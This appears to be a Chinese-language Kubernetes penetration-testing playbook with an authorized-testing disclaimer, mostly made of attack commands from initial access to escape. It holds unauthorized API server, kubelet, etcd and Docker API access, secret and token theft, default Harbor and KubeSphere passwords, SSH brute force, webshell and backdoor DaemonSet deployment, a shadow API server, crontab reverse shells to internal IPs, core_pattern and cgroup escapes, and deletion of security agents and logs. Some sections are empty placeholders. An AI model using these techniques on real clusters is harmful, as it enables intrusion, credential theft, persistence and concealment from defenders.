本文仅涵盖已获书面授权的安全测试场景,聚焦已广泛公开的 Kubernetes 常见配置错误类别(未授权访问、弱口令、组件暴露)。文中命令与 YAML 均为教学示例,敏感的内网域名/主机名/IP 已替换为占位符。
常见服务指纹与内网扫描
Kubernetes 架构下常见的开放服务指纹如下:
- kube-apiserver: 6443, 8080
- kubectl proxy: 8080, 8081
- kubelet: 10250, 10255, 4149
- docker api: 2375
- etcd: 2379, 2380
- kubeflow-dashboard: 8080
我们可以对局域网整个范围进行端口扫描,重点探测这些端口。局域网地址范围分三类:
- C 类:192.168.0.0 - 192.168.255.255
- B 类:172.16.0.0 - 172.31.255.255
- A 类:10.0.0.0 - 10.255.255.255
初始访问
K8s Dashboard未授权访问
访问k8s dashboard,看面板左下角是否有"跳过"选项,如面板有"跳过"选项则登陆dashboard,登陆后看是否有权限操作整个集群。或访问/ui通过未授权访问进入dashboard。


K8s API Server未授权访问
使用端口扫描工具批量扫描8080端口和6443端口
测试思路:扫描常见K8s端口,验证是否为未授权
依赖权限:网络可达
参考工具:Nmap、TXportmap
测试过程:
Nmap 192.168.0.1/24 –p 8080,6443
对于开放8080端口的ip,执行curl http://ip:8080
返回如下结果证明存在未授权访问

例:发现8081端口为k8s的api server

使用工具Kubectl 连接控制k8s集群
Kubectl -s xx.xx.xx.xx:8081 get namespaces

访问6443端口,查看是否存在未授权
查看pods:https://ip:6443/pods


如上,存在未授权访问。
访问/api/v1/namespces/kube-system/secrets获得token,从而控制整个集群
kubectl -s “https://ip:6443/” –insecure-skip-tls-verify –token="" get ns -o wide
Kubelet未授权访问
批量扫描开放了10250端口的IP
Nmap 192.168.0.1/24 –p 10250
对于开放10250的IP
curl https://192.168.20.121:10250/pods -k(不存在未授权访问)

浏览器访问https://192.168.xx.xx250/pods
可以看到以下接口信息,证明存在未授权访问

可以使用工具kubeletctl进行利用执行命令
查看pods信息:./kubeletctl -s

对指定容器进行命令执行
./kubeletctl –s

获取当前pod下所有token
./kubeletctl_linux_amd64 -s 203.0.113.10 scan token
获取集群地址
./kubeletctl_linux_amd64 -s 203.0.113.10 metrics|grep 6443

使用token和api server地址控制整个集群
./kubectl -s https://ip:6443/ –insecure-skip-tls-verify –token="" get nodes
除了10250端口之后,k8s 10255是只读端口,我们同样可以访问去看下是否存在一些敏感信息泄露(关注env和entrypoint)

Etcd未授权访问
批量扫描2379端口
Nmap 192.168.0.1/24 –p 2379
对开放了2379端口的IP进行访问
curl http://ip:2379/version

如上,存在未授权访问
获取所有key:
./etcdctl –insecure-transport=false –insecure-skip-tls-verify
–endpoints=https://ip:2379/ get / –prefix –keys-only | grep
secrets/kube-system/clusterrole

获取指定key的token:
./etcdctl –endpoints=http://ip:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-knhrs

复制出token

然后加上token,对api server进行集群控制
./kubectl -s “https://ip:6443/” –insecure-skip-tls-verify –token="" get nodes
这里可以配置客户端配置文件,将token和api server地址写进配置文件中,从而简化命令进行执行。
简化后:./kubectl get nodes
Docker API未授权访问
批量扫描2375端口
访问http://ip:2375/version,出现如下数据存在未授权访问

远程对被攻击主机的docker容器进行操作
docker -H tcp://x.x.x.x:2375 images

远程启动被攻击主机的docker容器,并且将该宿主机的根目录挂载到容器的/mnt目录下
docker -H tcp://x.x.x.x:2375 run -it-v /:/mnt imageID /bin/bash

K8s config文件泄漏
当获取到宿主机root权限时,可在~/.kube/config处获取到config文件

利用config文件控制集群
kubectl –kubeconfig config get pods

私有镜像仓库暴露
找到Harbor仓库,尝试通过默认用户名密码:admin/Harbor12345进行登录寻找镜像仓库
或注册通过harbor漏洞注册一个管理员权限用户

进入后台后,对其进行审计发现敏感信息。
执行
Kubectl进入容器
需要k8s存在api server未授权或者找到kube config文件
- 存在api server未授权
kubectl -s xx.xx.xx.xx:8080 exec -it test – /bin/bash
2)有kube config文件
kubectl –kubeconfig config exec -it test – /bin/bash

暴力破解
1)找到api server的IP进行端口扫描

2)横向扫描开放了22端口的机器,进行爆破
使用hydra爆破ssh弱口令
https://github.com/vanhauser-thc/thc-hydra
hydra -L logins.txt -P passwords.txt ssh://ip
通过NodePod访问Service
扫描k8s nodeport的端口
“默认情况下,K8s集群NodePort分配的端口范围为:30000-32767
Txportmap -i <ip段> -p 30000-32767
K8S secrets收集
kubectl get secrets -A

读取secret内容
./kubectl get secret <sectret_name> -n <namespace_name> -o yaml
利用secret进入harbor镜像仓库:
从secrets中找到Harbor仓库
获得Master权限时
./kubectl get secrets -A | grep harbor

读取secrets信息
./kubectl get secret <sectret_name> -n <namespace_name> -o yaml

将所指数据到https://jwt.io/进行解密

ConfigMaps获取
容器内:./cdk run k8s-configmap-dump auto
集群内:./kubectl get configmaps -A
将所有配置输出到文件configmaps.txt

容器内

失败时

ServiceAccount凭据泄露
当获得一个pod权限时,尝试直接读取token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

窃取凭证攻击其他应用
通过容器内信息收集得到的secrets或其他配置文件,找到其他服务的账号密码,如mysql,sqlserver等数据库的账号密码。
如文件:/app/resources/application-local.yml
应用层API凭据泄露
容器内:
Cdk会根据ak的特征获取证书文件
./cdk run ak-leakage <app_dir>

集群搜索secrets:
./kubectl get secrets –namespaces

云产品AK泄露
Xxxxx
利用K8S 准入控制器窃取信息
XXXXX
持久化
部署WebShell或内存马
云原生工具CDK:
https://github.com/cdk-team/CDK/releases/
1、部署webshell
当获取到容器权限时,可生成接受随机POST参数的PHP或JSP webshell写入web目录下。
Usage:
cdk run webshell-deploy (php|jsp)
Example:
./cdk run webshell-deploy php /tmp/shell.php

使用 curl -d “cdk_sgrytry=system(whoami)” 连接webshell.
使用冰蝎注入内存马:

部署后门Pod
通过daemonset将用户指定的后门镜像部署到每个node。
Usage:
./cdk run k8s-backdoor-daemonset
(default|anonymous|
Example:
部署一个 pod image:ubuntu 到每一个节点:
./cdk run k8s-backdoor-daemonset default ubuntu

部署影子K8s api-server
部署一个shadow apiserver,该api server具有和集群中现存的api server一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
Usage:
./cdk run k8s-shadow-apiserver
(default|anonymous|
Example:
./cdk run k8s-shadow-apiserver default

部署K8s CronJob
方法一
使用yaml创建,cronjob.yaml内容如下
image需要修改
| |
./kubectl create -f cronjob.yaml

删除cronjob
./kubectl delete cronjob <NAME_name>

方法二
部署K8s CronJob定时创建用户指定的image并运行cmd。
Usage:
cdk run k8s-cronjob (default|anonymous|
Example:
./cdk run k8s-cronjob default min alpine “echo hellow;echo cronjob”

执行后

部署静态pods
1、创建一个 YAML 文件,并保存在 web 服务上,为 kubelet 生成一个 URL。
| |
2、通过在选择的节点上使用 –manifest-url=
KUBELET_ARGS=”–cluster-dns=10.254.0.10 –cluster-domain=kube.local
–manifest-url=
3、重启 kubelet。在 Fedora 上,你将运行如下命令:
# 在 kubelet 运行的节点上执行以下命令
systemctl restart kubelet
覆写容器生命周期hooks
创建容器的yaml中在poststart和prestop,分别在容器创建后执行和容器销毁前执行
[root@SHE-L0563377 tmp]# vim tomcat-deploy1.yaml
| |
修改核心组件访问权限
通过configmap修改kubelet使其关闭认证并允许匿名访问,或暴露API Server未授权的HTTP端口。
Daemonsets deployments
控制DaemonSets和Deployments在集群中部署远控容器/pod
./ kubectl apply -f nginxdockerSock.yaml
image需要修改
| |

使用恶意镜像
方法一:在dockerfile中加入额外的恶意指令层来执行恶意代码
方法二:直接编辑原始镜像的文件层,将镜像中原始的可执行文件或链接库文件替换为精心构造的后门文件之后再次打包成新的镜像

修改Dockerfile文件
cat /root/aaa/Dockerfile
echo “RUN mkdir /chijiuhua” » /root/aaa/Dockerfile
cat /root/aaa/Dockerfile

K8s Rolebinding添加用户权限
./kubectl create rolebinding superbackdoor –clusterrole=cluster-admin –serviceaccount default:superbackdoor

容器逃逸
利用K8S漏洞提权逃逸
CVE-2021-25741条件:
有创建pod的权限,kubelet在漏洞影响范围内
Vulnerable versions of the kubelet:
v1.22.0 - v1.22.1
v1.21.0 - v1.21.4
v1.20.0 - v1.20.10
<= v1.19.14
https://github.com/Betep0k/CVE-2021-25741
通过内核漏洞提权逃逸
容器共享宿主机内核,因此我们可以使用宿主机的内核漏洞进行容器逃逸,比如通过内核漏洞进入宿主机内核并更改当前容器的namespace,在历史内核漏洞导致的容器逃逸当中最广为人知的便是脏牛漏洞(CVE-2016-5195)了。
同时,近期还有一个比较出名的内核漏洞是 CVE-2020-14386,也是可以导致容器逃逸的安全问题。
这些漏洞的POC 和 EXP都已经公开,且不乏有利用行为,但同时大部分的EDR和HIDS也对EXP的利用具有检测能力,这也是利用内核漏洞进行容器逃逸的痛点之一。
使用CDK尝试一键逃逸
./cdk auto-escape id
失败时

特权容器内利用挂载逃逸
挂载了设备进行逃逸
首先在privileged特权容器内fdisk -l 查看宿主机磁盘情况,如有回显则确认在privileged特权容器内;
然后,将宿主机的根目录挂载到容器内部去,进而操作宿主机任意文件,如crontab config file,或者 /root/.ssh/authorized_keys, /root/.bashrc等,实现逃逸
挂载了宿主机/etc目录
宿主机如果以特权模式启动容器,可以在该容器内部进行逃逸
./cdk run mount-disk

etc目录最简单的利用方式就是写入crontab了
echo “*/1 * * * * root /bin/bash -i >& /dev/tcp/172.17.0.6/10000 0>&1” » /mnt/crontab
然后等待反弹shell就行
失败时

挂载了宿主机cgroup目录
宿主机cgroup目录挂载到容器内,通过劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。
./cdk run mount-cgroup “
此命令无回显

重写Cgroup以访问设备
重写当前容器内的 /sys/fs/cgroup/devices/devices.allow,逃逸特权容器访问宿主机内的文件。
./cdk run rewrite-cgroup-devices
失败时:

挂载宿主机/Proc文件系统
find / -name proc找到挂载的proc目录,未找到则无法逃逸
找到后使用cdk执行命令
./cdk run mount-procfs
手动写shell:
确定容器overlay位置
/data/docker/overlay2/d7f802561c9efea4b256201d411043b873691c2a1359ef978b32db1fee6d5d72/merged/
开始写入shell
把命令写进到core_pattern中
echo -e “|/data/docker/overlay2/d7f802561c9efea4b256201d411043b873691c2a1359ef978b32db1fee6d5d72/merged/tmp/1.py \rcore” > /host-proc/sys/kernel/core_pattern
编译一个异常的程序
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
可以通过在容器上编译,如果容器内部不存在gcc这种编译工具可以在自己的电脑上编译然后复制上去。
这边有几个需要注意的是core_pattern内部是没有环境变量的,所以我们所有的命令必须接上全部的路径不要去省略,不然是找不到执行的文件的。
挂载了宿主机LXCFS目录包含CGOURP
当POD挂载了LXCFS目录包含CGOURP目录,并且对CGROUP有写权限。
通过mount命令查看是否存在lxcfs
mount|grep lxcfs
如果没有mount命令也可以看/proc/1/mountinfo
/data/test/lxcfs/cgroup/devices/ 下有设备的cgroup
找到我们当前主机的cgroup地址
我们把device.allow设置容器允许访问设备
echo a > cgroup/devices/kubepods/XXXXX/devices.allow
然后寻找mountinfo中挂载/etc/目录的node节点这边是253,2
然后运行debugfs test b 253 1然而在实际运行的时候发现失败了,后面发现debugfs命令运行的时候无法打开filesystem
重新测试发现我们当前的centos测试文件系统的问题,换一个系统重复上述过程运行debugfs发现我们成功看到宿主机的文件系统了,那么通过修改宿主机文件系统就可以实现容器逃逸了。
失败时:

利用linux capability逃逸
./cdk_linux_amd64 evaluate
查询到有特殊capability权限


利用挂载的docker.sock逃逸
找到被挂载的docker.sock文件
find / -name “docker.sock”
扫描宿主机2375端口开启且未授权,可以尝试用docker客户端进行访问
利用-H参数建立连接docker -H xxxxx:2375
下载docker二进制文件,docker二进制是golang编写的所以我们完全不用担心这个文件的依赖问题。
在别的机器上准备好这个二进制文件
我们可以直接用docker执行命令了,这边由于我在创建靶场的时候默认把docker sock放在了/var/run/docker.sock上,如果碰到一些特殊的环境我们可能不是这个文件,就需要使用-H命令来指定
./docker -H unix:///var/run/docker.sock ps
这边我们就直接使用吧
然后可以借此启动一个挂载宿主机根目录的特权容器,完成简单逃逸:
./docker run -it -v /:/host –privileged –name=sock-test ubuntu /bin/bash
也可使用 cdk
Link: https://github.com/Xyntax/CDK/wiki/Exploit:-docker-sock-check
https://github.com/Xyntax/CDK/wiki/Exploit:-docker-sock-pwn
K8S RoleBinding添加用户权限
./kubectl create sa superbackdoor

./kubectl create rolebinding superbackdoor –clusterrole=cluster-admin –serviceaccount default:superbackdoor

容器获得sys_ptrace_capbility导致的逃逸
如果有cap_sys_ptrace的cap就可以使用ptrace的特权,有这个特权可以对其他进程进行调试或者进程注入。但是由于namespace的存在,无法直接访问到宿主机的pid。因此这里一般需要容器的pid namespace使用宿主机的。
所以cap_sys_ptrace逃逸条件:
容器有CAP_SYS_PTRACE权限
容器与宿主机共用用pid namespace(–pid=host 打破进程隔离)
没有apparmor保护

cat /proc/self/status | grep Cap


这个时候选择宿主机中的进程,来对进程注入代码:
https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode随意,msf即可:

利用大权限的 Service Account
使用Kubernetes做容器编排的话,在POD启动时,Kubernetes会默认为容器挂载一个 Service Account 证书。同时,默认情况下Kubernetes会创建一个特有的 Service 用来指向 ApiServer。
有了这两个条件,我们就拥有了在容器内直接和APIServer通信和交互的方式。
Kubernetes Default Service


Default Service Account

默认情况下,这个 Service Account 的证书和 token 虽然可以用于和 Kubernetes Default Service 的 APIServer 通信,但是是没有权限进行利用的。
但是集群管理员可以为 Service Account 赋予权限:

此时直接在容器里执行 kubectl 就可以集群管理员权限管理容器集群。
因此获取一个拥有绑定了
ClusterRole/cluster-admin Service Account 的
POD,其实就等于拥有了集群管理员的权限。
创建特权容器挂载宿主机文件系统
在任意node上创建特权容器
tq.yaml内容
| |
Image需要改动,获取所有pods
./kubectl get pods –w wide

选择一个pod查看详细信息
./kubectl describe pod <pod_name>
可以看到所pod所使用的镜像,替换yaml里的Image即可

./kubectl create –f tq.yaml 创建特权容器

查看是否创建成功
./kubectl get pods –o wide
执行命令查看是否挂载成功
./kubectl exec <pod_name> – ls /mnt/

进入特权容器
./kubectl exec –it <pod_name> – sh
切换根目录
cd /mnt
chroot . bash

写计划任务逃逸
echo “*/1 * * * * root /bin/bash -i >& /dev/tcp/10.244.21.101/9999 0>&1” » /etc/crontab
在Master上创建特权容器
当获取到集群控制权限时
找到Master的node
kubectl get nodes –o wide

去除污点才可在Master上创建pod
kubectl taint node <node_name> node-role.kubernetes.io/master-

查看taint,值为
kubectl describe node <node_name>

Yaml中需要加入nodeSelector并添加label

| |
测试后将taint修改回来
kubectl taint node <node_name> node-role.kubernetes.io/master:NoSchedule
防御逃逸
关闭安全产品
./kubectl get deployments -A

发现安全产品hivesec
导出yaml:./kubectl get deployment hiveagent -n hivesec -o yaml
复制内容另存为hivesec1.yaml
删除安全产品:./kubectl delete -f hivesec1.yaml
删除K8s的Event
./kubectl delete event –field-selector involvedObject.name=<pod_name>

容器及宿主机日志清理(Clear container logs)
ls /var/log/containers/

备份后删除再恢复
代理访问
Shadow API Server
利用系统Pod伪装
创建超长Annotations使Audit日志解析失败
K8s Audit日志清理
引用处
客户端生成config文件
利用token和api server生成kubectl客户端配置文件(后续命令不用再指定-s和–token)
kubectl config set-cluster kubernetes –insecure-skip-tls-verify=true –server=https://IP:6443/
kubectl config set-credentials admin –token=xxxx
kubectl config set-context kubernetes –cluster=kubernetes –user=admin
kubectl config use-context kubernetes

KubeSphere Dashboard暴露
Kubesphere的默认口令是admin/ P@88w0rd,如果不修改密码我们可以通过这个口令登录到系统内如下所示:

Kubesphere提供了kubectl命令从而让我们可以直接操作k8s集群。

在该窗口能直接使用kubectl,我们可以利用kubectl创建一个特权容器实现容器逃逸
